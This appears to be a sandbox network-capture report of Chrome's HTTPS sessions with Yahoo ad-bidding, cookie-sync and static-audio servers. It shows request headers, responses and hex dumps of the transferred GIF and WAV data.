2024-01-10 23:27:15 UTC	1196	OUT	Data Raw: 7b 22 69 64 22 3a 22 32 38 36 61 62 61 38 66 2d 39 65 34 61 2d 34 30 61 63 2d 62 66 65 31 2d 66 32 34 39 66 30 66 31 33 63 37 30 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 32 34 36 31 36 39 35 36 38 38 31 31 32 32 33 31 31 37 30 34 39 32 39 32 33 33 34 37 35 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 34 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 5d 7d 2c 22 65 78 74 22 3a 7b 22 64 Data Ascii: {"id":"286aba8f-9e4a-40ac-bfe1-f249f0f13c70","cur":["USD"],"imp":[{"id":"24616956881122311704929233475","secure":1,"bidfloor":0.4,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":728,"h":90}]},"ext":{"d
2024-01-10 23:27:15 UTC	348	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:15 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	49960	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	504	OUT	GET /cksync.php?cs=1&type=mn&ovsid=3479308330180239000V10&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1
2024-01-10 23:27:15 UTC	664	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-mn=3479308330180239000V10~~1;Expires=Mon, 08 Jul 2024 23:27:15 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:15 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:15 GMT Connection: close
2024-01-10 23:27:15 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:15 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	49972	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	752	OUT	GET /cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1
2024-01-10 23:27:15 UTC	679	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1;Expires=Wed, 24 Jan 2024 23:27:15 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:15 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:15 GMT Connection: close
2024-01-10 23:27:15 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:15 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	49976	34.111.85.214	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	467	OUT	GET /rtb/yhb?cid=8YHBJ3BJ0 HTTP/1.1 Host: m.hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1
2024-01-10 23:27:15 UTC	202	IN	HTTP/1.1 204 No Content server: nginx date: Wed, 10 Jan 2024 23:27:15 GMT Access-Control-Allow-Credentials: true via: 1.1 google Access-Control-Allow-Origin: Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	49978	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	569	OUT	GET /pv/static/misc/voice-result-202105050733.wav HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://www.yahoo.com/ Accept-Language: en-US,en;q=0.9 Range: bytes=0-
2024-01-10 23:27:15 UTC	924	IN	HTTP/1.1 206 Partial Content x-amz-id-2: 6HjUJRdkW5DVvtEtnMe3DrlVEmclcsqmKa6v+tV9Hzvfim3bcAG/UNVE10lT6/Erw19zE3fy8X4= x-amz-request-id: 4AHF1QVE3ZE0WMXG Date: Fri, 22 Dec 2023 17:17:58 GMT Last-Modified: Wed, 05 May 2021 07:33:25 GMT ETag: "f536e8f265fbbd76a5f7b9fc0ea0ad69" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public Expires: Mon, 05 May 2031 07:33:23 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: binary/octet-stream Server: ATS Content-Length: 80336 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1663758 ATS-Carp-Promotion: 1 Content-Range: bytes 0-80335/80336 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 52 49 46 46 c8 39 01 00 57 41 56 45 66 6d 74 20 10 00 00 00 03 00 02 00 44 ac 00 00 20 62 05 00 08 00 20 00 64 61 74 61 48 07 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: RIFF9WAVEfmt D b dataH
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 03 a3 c1 3c 1f 1d 64 3c 4c 2c 65 3c ed 94 3f 3b 8b 71 40 3b 02 58 36 bc a0 34 37 bc 12 81 ce bc 9e 79 cf bc 21 91 18 bd 89 48 19 bd 62 75 45 bd 9e 62 46 bd f4 fb 67 bd 8e 12 69 bd 96 42 7b bd 41 70 7c bd f4 33 82 bd 44 d0 82 bd 0c 95 82 bd d9 31 83 bd 64 65 81 bd c7 00 82 bd f4 8a 81 bd 90 26 82 bd 69 14 80 bd 4b ae 80 bd 6b cc 7d bd 5b fd 7e bd 23 48 84 bd 10 e7 84 bd 12 f6 8b bd 3b 9e 8c bd 64 87 8f bd d6 33 90 bd cb 91 90 bd 7a 3f 91 bd 2b b3 8e bd 99 5e 8f bd ca 6f 87 bd 8e 12 88 bd 30 73 75 bd 51 9a 76 bd e4 5e 4d bd 1d 56 4e bd 04 f7 19 bd b8 b0 1a bd b2 0e ce bc 21 08 cf bc 95 32 4e bc 5f 2f 4f bc b8 88 ac 38 a9 69 aa 38 cc 2c 1f 3c 5a e5 1f 3c ed 72 87 3c 06 12 88 3c 0b 46 ba 3c f4 21 bb 3c 15 63 df 3c 5d 6b e0 3c 81 4e f5 3c f3 70 f6 3c cc b2 05 Data Ascii: <d<L,e<?;q@;X647y!HbuEbFgiB{Ap\|3D1de&iKk}[~#H;d3z?+^o0suQv^MVN!2N_/O8i8,<Z<r<<F<!<c<]k<N<p<
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 08 bb 7c bd 97 ec 7d bd 01 39 88 bd 8a dd 88 bd 6e e1 90 bd 5a 90 91 bd e8 80 95 bd 4e 35 96 bd 90 e9 98 bd 13 a2 99 bd e8 26 99 bd a3 df 99 bd 26 b4 91 bd f4 63 92 bd 49 52 83 bd db f0 83 bd 07 0e 60 bd d9 1c 61 bd e5 3a 34 bd 36 15 35 bd 6a d0 08 bd c2 76 09 bd 3d 97 b8 bc fb 78 b9 bc d1 eb 42 bc b5 de 43 bc 89 53 7f bb e3 54 80 bb 2e 4e f4 3a f8 27 f5 3a d4 3c e8 3b 0c 41 e9 3b 5c 24 37 3c ba f6 37 3c 76 4b 70 3c 6a 62 71 3c 7e d0 9f 3c 85 8b a0 3c eb ab d2 3c ef a3 d3 3c 31 0d 07 3d e8 ac 07 3d fb cf 28 3d 17 98 29 3d cc e7 4a 3d d5 d8 4b 3d 53 bc 6d 3d fe d6 6e 3d 8e 71 87 3d c6 12 88 3d e3 15 91 3d b0 c2 91 3d fa d8 92 3d e6 87 93 3d 6c ee 90 3d 0c 9b 91 3d b4 87 8a 3d b9 2c 8b 3d c4 87 7c 3d 77 b4 7d 3d cb 11 5e 3d fc 19 5f 3d 86 14 3e 3d 5b f6 3e Data Ascii: \|}9nZN5&&cIR`a:465jv=xBCST.N:':<;A;\$7<7<vKp<jbq<~<<<<1==(=)=J=K=Sm=n=q======l===,=\|=w}=^=_=>=[>
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: c4 b4 72 bc a1 b2 25 bc 44 78 26 bc 9c c5 a9 bb 23 8f aa bb 8e 6a 3d ba db 3b 3e ba b0 48 6e 3b 9a 6a 6f 3b 6d 59 1c 3c 39 16 1d 3c 41 fa 8a 3c 7c a1 8b 3c e8 ca d0 3c c1 c5 d1 3c 4c a7 0f 3d d5 53 10 3d 53 1f 37 3d 0e fb 37 3d 34 36 5b 3d 3f 3d 5c 3d df da 78 3d 73 05 7a 3d c6 60 85 3d cc 00 86 3d 68 08 89 3d cf ac 89 3d 4d 32 89 3d ed d6 89 3d 92 e4 83 3d df 82 84 3d 08 b5 72 3d 89 d8 73 3d b2 96 5c 3d af 9f 5d 3d ff 7e 49 3d 2e 71 4a 3d e7 8f 38 3d ef 6d 39 3d ca 2b 2a 3d ac f8 2a 3d ad 4f 1d 3d 17 0d 1e 3d 9b 89 12 3d 34 3a 13 3d 40 b5 09 3d 55 5b 0a 3d 51 23 f7 3c b7 4d f8 3c 19 99 c8 3c d0 8b c9 3c 0a 58 8e 3c 1b 05 8f 3c cf 80 0a 3c ee 2b 0b 3c 34 61 29 bb 38 16 2a bb 95 ac 67 bc 76 bc 68 bc 05 a9 ce bc 81 9d cf bc 9b 13 12 bd 06 c1 12 bd 08 87 36 Data Ascii: r%Dx&#j=;>Hn;jo;mY<9<A<\|<<<L=S=S7=7=46[=?=\=x=sz=`==h==M2====r=s=\=]=~I=.qJ=8=m9=+==O===4:=@=U[=Q#<M<<<X<<<+<4a)8*gvh6
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: ba 52 79 3d 1c 84 7a 3d 7f d5 71 3d f3 fd 72 3d 64 75 65 3d ff 8e 66 3d 9d 9b 5a 3d 39 a8 5b 3d 1c 1d 51 3d 7f 1e 52 3d c2 5c 47 3d 7a 52 48 3d e5 3e 40 3d 21 2c 41 3d 63 4e 3c 3d ef 36 3d 3d de 7a 38 3d e8 5e 39 3d bf e9 30 3d dd c4 31 3d 98 1b 21 3d cb e3 21 3d 2e 15 09 3d a7 c0 09 3d 2c c1 d7 3c 4a d2 d8 3c 80 1d 8f 3c d3 d7 8f 3c 31 c9 db 3b 0c 0d dd 3b f6 9d 91 bb ce 0f 92 bb 46 73 75 bc ac 7a 76 bc 32 7b c9 bc 1e 5d ca bc d7 de 04 bd 40 76 05 bd 2e 65 1c bd 9c 18 1d bd 17 a5 2c bd f7 6b 2d bd 99 cf 36 bd 7e a2 37 bd 49 23 3e bd 05 ff 3e bd 8f a9 44 bd fc 8c 45 bd c1 e0 49 bd 5d ca 4a bd fa ad 51 bd de a0 52 bd bb 85 5f bd 27 89 60 bd 3a 82 6e bd 97 97 6f bd a0 e2 79 bd 82 05 7b bd ba cb 80 bd c4 61 81 bd 27 05 82 bd 9b 9c 82 bd a5 b6 7e bd 30 df 7f Data Ascii: Ry=z=q=r=due=f=Z=9[=Q=R=\G=zRH=>@=!,A=cN<=6==z8=^9=0=1=!=!=.==,<J<<<1;;Fsuzv2{]@v.e,k-6~7I#>>DEI]JQR_'`:noy{a'~0
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: d0 9a ca 3c 2a ec 69 3c 36 39 6b 3c 98 e0 8b 3b 89 f1 8c 3b c9 cf 9f bb a3 24 a0 bb 3f c9 59 bc c9 98 5a bc a7 d0 a6 bc b8 7d a7 bc ff 95 d2 bc 63 77 d3 bc 2d f9 f2 bc 75 01 f4 bc 64 a4 05 bd 06 37 06 bd 1f 96 10 bd ee 35 11 bd 27 cc 1c bd 74 7a 1d bd bc b6 2a bd be 75 2b bd 57 ad 3b bd ae 80 3c bd ca 76 4f bd ba 61 50 bd 20 df 61 bd 29 e0 62 bd 91 00 71 bd a2 13 72 bd 41 19 7d bd ba 3a 7e bd f8 3d 81 bd ee d1 81 bd 5a 52 7d bd 17 74 7e bd b6 01 6e bd fa 10 6f bd 7a b7 56 bd cf aa 57 bd dc 85 3a bd 6e 57 3b bd 47 af 1b bd e6 5b 1c bd 88 3a f5 bc 67 44 f6 bc 8b 29 b5 bc b1 e6 b5 bc f2 0f 80 bc 75 8d 80 bc 1f ab 28 bc 24 3d 29 bc 80 20 b6 bb 91 8a b6 bb 97 33 b6 ba 7d 4e b5 ba 4b ff 34 3b f1 b9 36 3b fd a4 fa 3b f1 41 fc 3b df fd 5b 3c d7 3d 5d 3c eb 28 a5 Data Ascii: <i<69k<;;$?YZ}cw-ud75'tzu+W;<vOaP a)bqrA}:~=ZR}t~nozVW:nW;G[:gD)u($=) 3}NK4;6;;A;[<=]<(
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 77 96 51 bd 48 7f 52 bd d9 7f 64 bd 34 7f 65 bd d0 26 72 bd 85 36 73 bd 06 67 77 bd 01 7d 78 bd d4 0b 73 bd 81 1c 74 bd 13 42 67 bd b2 44 68 bd d8 6b 55 bd 14 59 56 bd 56 61 3e bd e7 32 3f bd de 61 24 bd 53 14 25 bd c0 3c 0a bd d4 cf 0a bd 14 46 e6 bc e7 34 e7 bc 91 a0 c0 bc 7d 62 c1 bc ed 68 9e bc d7 01 9f bc ea bf 78 bc 6c a0 79 bc a1 9d 37 bc 00 30 38 bc c6 dc e3 bb ee 59 e4 bb 59 68 da ba 40 20 d9 ba 05 b0 9d 3b e5 ff 9e 3b cb f4 4a 3c 93 31 4c 3c b2 18 aa 3c 1d 09 ab 3c 13 16 f0 3c 48 5a f1 3c 02 6b 19 3d 27 35 1a 3d a5 74 36 3d 87 61 37 3d d1 68 4c 3d 0a 70 4d 3d 16 37 5b 3d fc 4f 5c 3d 1e fb 62 3d 63 1d 64 3d 4d 65 62 3d c5 86 63 3d 7d 52 5b 3d 90 6b 5c 3d b2 3d 52 3d e6 4b 53 3d 08 4e 49 3d 73 51 4a 3d f5 e8 40 3d 4d e2 41 3d 55 56 39 3d a9 46 3a Data Ascii: wQHRd4e&r6sgw}xstBgDhkUYVVa>2?a$S%<F4}bhxly708YYh@ ;;J<1L<<<<HZ<k='5=t6=a7=hL=pM=7[=O\=b=cd=Meb=c=}R[=k\==R=KS=NI=sQJ=@=MA=UV9=F:
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 4c 9c c1 bc 7b b2 a4 bc 2c 56 a5 bc 80 c8 80 bc 6a 41 81 bc 18 2d 21 bc 50 ab 21 bc 24 b7 35 bb 0f 87 35 bb 35 14 a6 3b d7 5f a7 3b f6 96 5c 3c 89 e1 5d 3c 23 fc b3 3c dd f4 b4 3c f0 e1 f5 3c ae 29 f7 3c 31 50 17 3d 01 16 18 3d 7e d3 2c 3d 07 b3 2d 3d dc 61 3b 3d b7 52 3c 3d bd aa 43 3d 95 a5 44 3d c7 26 46 3d 8b 24 47 3d 74 26 45 3d fa 22 46 3d ae 56 43 3d ff 50 44 3d 6e 2e 41 3d 2e 26 42 3d 20 2b 3f 3d 67 20 40 3d e4 a3 3e 3d 8d 98 3f 3d a4 55 3f 3d 01 4b 40 3d b9 42 3f 3d 17 38 40 3d 8d af 3b 3d 7f a0 3c 3d bb 55 32 3d 73 3b 33 3d c6 2c 23 3d 60 00 24 3d 81 97 0e 3d 72 52 0f 3d 4b 07 e7 3c 1f 3c e8 3c 88 36 a5 3c 84 1c a6 3c 15 bf 3c 3c ff e0 3d 3c c9 86 3f 3b dc 6b 41 3b 3b a7 a8 bb 2f f2 a8 bb 6e e1 47 bc 25 91 48 bc 54 c5 93 bc a4 56 94 bc 60 d4 b9 Data Ascii: L{,VjA-!P!$555;_;\<]<#<<<)<1P==~,=-=a;=R<=C=D=&F=$G=t&E="F=VC=PD=n.A=.&B= +?=g @=>=?=U?=K@=B?=8@=;=<=U2=s;3=,#=`$==rR=K<<<6<<<<=<?;kA;;/nG%HTV`
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 52 e7 2b 3d 5e be 2c 3d d6 a7 2f 3d 7b 83 30 3d b6 04 34 3d 92 e5 34 3d d7 47 39 3d f9 2e 3a 3d 99 80 3f 3d 11 6f 40 3d a9 05 45 3d c3 fa 45 3d fc ad 47 3d 2e a6 48 3d f1 1d 46 3d 47 14 47 3d ee 41 3f 3d 0c 30 40 3d ca 56 32 3d 5a 35 33 3d a9 ce 1e 3d e4 95 1f 3d d8 be 04 3d c8 66 05 3d 65 1d cd 3c f8 24 ce 3c c3 2d 8f 3c 17 eb 8f 3c 38 2b 25 3c ea 14 26 3c 6e 04 48 3b ae 83 49 3b a1 f4 50 bb 1b 60 51 bb 4b 9a 09 bc b1 1b 0a bc e5 b2 4f bc 71 88 50 bc 8f d4 85 bc 38 63 86 bc 11 93 a2 bc 32 44 a3 bc ee c9 c0 bc 20 9f c1 bc 7a bc e1 bc 45 b9 e2 bc b6 61 03 bd 4b f6 03 bd f7 64 17 bd 7f 11 18 bd 9c 07 2b bd be cb 2b bd 7f 16 3d bd 32 f0 3d bd bd 4b 4c bd bc 37 4d bd 61 08 56 bd 0b 00 57 bd 5d 53 58 bd c5 4d 59 bd 9a 26 53 bd e8 1a 54 bd 61 a3 47 bd cf 89 48 Data Ascii: R+=^,=/={0=4=4=G9=.:=?=o@=E=E=G=.H=F=GG=A?=0@=V2=Z53====f=e<$<-<<8+%<&<nH;I;P`QKOqP8c2D zEaKd++=2=KL7MaVW]SXMY&STaGH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	49973	3.92.156.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1254	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1211 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	1211	OUT	Data Raw: 7b 22 69 64 22 3a 22 62 34 31 39 30 36 30 65 2d 33 39 63 36 2d 34 36 63 64 2d 61 32 61 63 2d 65 35 37 39 31 62 62 31 35 63 62 33 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 36 39 35 34 39 37 30 39 35 31 32 32 39 32 34 33 31 37 30 34 39 32 39 32 33 33 34 37 35 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 30 35 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 5d 7d 2c 22 65 78 74 22 3a 7b Data Ascii: {"id":"b419060e-39c6-46cd-a2ac-e5791bb15cb3","cur":["USD"],"imp":[{"id":"69549709512292431704929233475","secure":1,"bidfloor":0.05,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":300,"h":250}]},"ext":{
2024-01-10 23:27:15 UTC	348	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:15 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	49982	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	568	OUT	GET /pv/static/misc/voice-error-202105050733.wav HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://www.yahoo.com/ Accept-Language: en-US,en;q=0.9 Range: bytes=0-
2024-01-10 23:27:15 UTC	936	IN	HTTP/1.1 206 Partial Content x-amz-id-2: 16fxEe2371lQ/kQtLgDEMxMcBYCwlF2XwUqBzGolUXMzeb/iZolsjHUNjobi2szSml4Aar4T4fzufABRH8urvw== x-amz-request-id: ZSWPYDW91JFT7QEJ Date: Mon, 18 Dec 2023 17:06:32 GMT Last-Modified: Wed, 05 May 2021 07:33:41 GMT ETag: "f35ad0c20d2f7e02b99e4866a98989d1" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public Expires: Mon, 05 May 2031 07:33:40 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: binary/octet-stream Server: ATS Content-Length: 85336 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2010044 ATS-Carp-Promotion: 1 Content-Range: bytes 0-85335/85336 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff 